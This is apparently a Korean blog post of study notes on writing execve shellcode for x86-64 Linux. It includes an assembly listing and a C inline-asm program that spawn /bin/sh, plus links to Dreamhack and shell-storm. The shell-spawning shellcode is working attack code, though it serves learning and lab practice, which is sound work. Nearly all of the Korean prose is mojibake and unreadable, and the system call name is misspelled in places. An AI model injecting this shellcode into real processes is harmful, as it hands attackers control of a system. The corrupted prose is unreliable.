์ด ๊ฐ’์ด ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ์˜ ์ฃผ์†Œ์™€ ๋น„์Šทํ•œ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Ÿฐ ์ค‘์š”ํ•œ ๊ฐ’์„ ์œ ์ถœํ•ด ๋‚ด๋Š” ๊ฒƒ์„ ๋ฉ”๋ชจ๋ฆฌ ๋ฆญ(Memory Leak; ๋ฉ”๋ชจ๋ฆฌ ๋ˆ„์ˆ˜)์ด๋ผ๊ณ  ๋ถ€๋ฅด๋Š”๋ฐ, ์•ž์œผ๋กœ ๋ฐฐ์›Œ๋‚˜๊ฐˆ ๋ณดํ˜ธ๊ธฐ๋ฒ•๋“ค์„ ๋ฌด๋ ฅํ™”ํ•˜๋Š” ํ•ต์‹ฌ ์—ญํ• 


OS์— ๋ช…๋ น

์…ธ(Shell, ๊ป์งˆ) : OS์— ๋ช…๋ น์„ ๋‚ด๋ฆฌ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋œ UI
์ปค๋„(Kernel, ํ˜ธ๋‘ ์† ๋‚ด์šฉ๋ฌผ) : OS์˜ ํ•ต์‹ฌ๊ธฐ๋Šฅ์„ ํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ

์œ„ ๋‘˜์€ ์ด๋ ‡๊ฒŒ ์„œ๋กœ ๋งค์šฐ ๋Œ€๋น„๋ฉ๋‹ˆ๋‹ค. ์…ธ์„ ํš๋“ํ•˜๋ฉด ์‹œ์Šคํ…œ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ํ†ต์ƒ์ ์œผ๋กœ ์…ธ ํš๋“์„ ์‹œ์Šคํ…œ ํ•ดํ‚น์˜ ์„ฑ๊ณต์œผ๋กœ ์—ฌ๊น๋‹ˆ๋‹ค.

execve ์…ธ์ฝ”๋“œ๋Š” ์ž„์˜์˜ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋Š” ์…ธ์ฝ”๋“œ์ธ๋ฐ, ์ด๋ฅผ ์ด์šฉํ•˜๋ฉด ์„œ๋ฒ„์˜ ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์–ธ๊ธ‰์—†์ด ์…ธ์ฝ”๋“œ๋ผ๊ณ  ํ•˜๋ฉด ์ด๋ฅผ ์˜๋ฏธํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

Tip) ์ตœ์‹ ์˜ ๋ฆฌ๋ˆ…์Šค๋Š” ๋Œ€๋ถ€๋ถ„ sh, bash๋ฅผ ๊ธฐ๋ณธ ์…ธ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ํƒ‘์žฌํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ด ์™ธ์—๋„ zsh, tsh ๋“ฑ์˜ ์…ธ์„ ์œ ์ €๊ฐ€ ์„ค์น˜ํ•ด์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ์˜ ์‹ค์Šต ํ™˜๊ฒฝ์ธ Ubuntu 18.04์—๋„ /bin/sh๊ฐ€ ์กด์žฌํ•˜๋ฏ€๋กœ, ์ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” execve ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

๋ฆฌ๋ˆ…์Šค bash

 


execve("/bin/bash", null, null)

execve ์…ธ์ฝ”๋“œ๋Š” execve ์‹œ์Šคํ…œ ์ฝœ๋กœ๋งŒ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค.

syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envpโ€‹

โ€‹์—ฌ๊ธฐ์„œ argv๋Š” ์‹คํ–‰ํŒŒ์ผ์— ๋„˜๊ฒจ์ค„ ์ธ์ž, envp๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜์ž…๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” sh๋งŒ ์‹คํ–‰ํ•˜๋ฉด ๋˜๋ฏ€๋กœ ๋‹ค๋ฅธ ๊ฐ’๋“ค์€ ์ „๋ถ€ null๋กœ ์„ค์ •ํ•˜์…”๋„ ์ƒ๊ด€ ์—†์–ด์š”. ๋ฆฌ๋ˆ…์Šค์—์„œ๋Š” ๊ธฐ๋ณธ ์‹คํ–‰ ํ”„๋กœ๊ทธ๋žจ๋“ค์ด /bin/ ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅ๋˜์–ด ์žˆ์œผ๋ฉฐ, ์šฐ๋ฆฌ๊ฐ€ ์‹คํ–‰ํ•  sh๋„ ์—ฌ๊ธฐ์— ์ €์žฅ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

 

๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” evecve("/bin/sh", null, null)์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ์…ธ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ด…์‹œ๋‹ค. ์•ž์—์„œ ์ž‘์„ฑํ•œ orw์…ธ์ฝ”๋“œ์™€ ๋น„๊ตํ–ˆ์„ ๋•Œ ๊ทธ๋ ‡๊ฒŒ ์–ด๋ ต์ง€๋„ ์•Š๊ณ  ์ง์ ‘ ํ•ด๋ณด๊ณ  ์…ธ์ฝ”๋“œ์™€ ๋น„๊ตํ•ด๋ณผ๊นŒ์š”?

;Name: execve.S
 
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

evecve ์…ธ์ฝ”๋“œ ์ž‘์„ฑ ๋ฐ ์‹คํ–‰๐Ÿ›

์•ž์—์„œ ์‚ฌ์šฉํ•œ shell_skeleton์ฝ”๋“œ๋ฅผ ์ด์šฉํ•ด evecve์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผ ํ•ด๋ด…์‹œ๋‹ค.

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
 
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
   
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
   
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c      # rax = sys_exit\n"
    "syscall        # exit(0)"
);
 
void run_sh();
 
int main() { run_sh(); }

์‹คํ–‰ ๊ฒฐ๊ณผ๋กœ sh๊ฐ€ ์‹คํ–‰๋˜์–ด ๋ณด์—ฌ์ง€๋Š” ๋ชจ์Šต!!

์ž ๊ทธ๋Ÿผ gdb๋กœ ๋ถ„์„์„ ํ•ด๋ณผ๊นŒ์š”?(์œ„์— ์„ค๋ช… ์žˆ์œผ๋‹ˆ๊นŒ ๋ถ„์„ํ•œ ๋ชจ์Šต๋งŒ ใ…Žใ…Ž)

012
๋งจ ๋งˆ์ง€๋ง‰ rax๊ฐ€ 0x3b๊ฐ€ ํ•ต์‹ฌ์ธ๋ฐ.. execve๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์ฝ”๋“œ๋ผ ๊ทธ๋ž˜์š”

โ€‹์ •๋ง๋กœ ์ž์„ธํžˆ ๋ถ„์„ํ• ๋ ค๋ฉด.. ์‹ค๋ ฅ ๋ถ€์กฑ์— ํˆด ์‚ฌ์šฉํ•ด์•ผํ•ด์„œ.. ์Œ.. ๋‚˜์ค‘์— ์ •๋ฆฌํ•ด์„œ ์˜ฌ๋ฆด๊ป˜์š”

๋ฐ‘์— ๋งํฌ๋Š” ์ฐธ๊ณ ์ž๋ฃŒ์ธ๋ฐ ๋ญ.. ์…ธ์ฝ”๋“œ ์ž‘์„ฑํ• ๋ ค๋ฉด ๊ทธ์ „์— ์˜ฌ๋ฆฐ ๋งํฌ๋“ค ๋‹ค ๋ด์•ผ๊ธด ํ•ด์š” ใ… 

 

Chromium OS Docs - Linux System Call Table

Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc

chromium.googlesource.com


์ฐธ๊ณ  ์ž๋ฃŒ(๋‹จ, ์œ„ ๋ถ€๋ถ„์€ ์ œ๊ฐ€ ๋ฐฐ์šด ๋‚ด์šฉ ์š”์•ฝ์— ๊ฐ€๊น๊ธฐ ๋•Œ๋ฌธ์— ๊ฑฐ์˜ ์œ„ ๋‚ด์šฉ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค)

 

Exploit Tech: Shellcode

์…ธ์ฝ”๋“œ๊ฐ€ ๋ฌด์—‡์ธ์ง€ ์ดํ•ดํ•˜๊ณ , ์ง์ ‘ ์ž‘์„ฑ ๋ฐ ๋””๋ฒ„๊น… ํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io

 

shell-storm | Shellcodes Database

Shellcodes database for study cases Description Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. To learn modern explo

shell-storm.org

 

Chromium OS Docs - Linux System Call Table

Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc

chromium.googlesource.com

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

Exploit Tech: Shellcode

์…ธ์ฝ”๋“œ๊ฐ€ ๋ฌด์—‡์ธ์ง€ ์ดํ•ดํ•˜๊ณ , ์ง์ ‘ ์ž‘์„ฑ ๋ฐ ๋””๋ฒ„๊น… ํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io

 

๋ฌด๋ฃŒ ์•„์ด์ฝ˜ ๋ฐ ์Šคํ‹ฐ์ปค - ์ˆ˜๋ฐฑ๋งŒ ์ข…์˜ ๋‹ค์šด๋กœ๋“œ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๋ฆฌ์†Œ์Šค

๊ท€ํ•˜์˜ ํ”„๋กœ์ ํŠธ๋ฅผ ์œ„ํ•œ ๋ฌด๋ฃŒ ์•„์ด์ฝ˜ ๋ฐ ์Šคํ‹ฐ์ปค๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”. ๋””์ž์ด๋„ˆ์— ์˜ํ•œ, ๋””์ž์ด๋„ˆ๋ฅผ ์œ„ํ•œ ๋ฆฌ์†Œ์Šค. PNG, SVG, EPS, PSD ๋ฐ CSS ํฌ๋งท

www.flaticon.com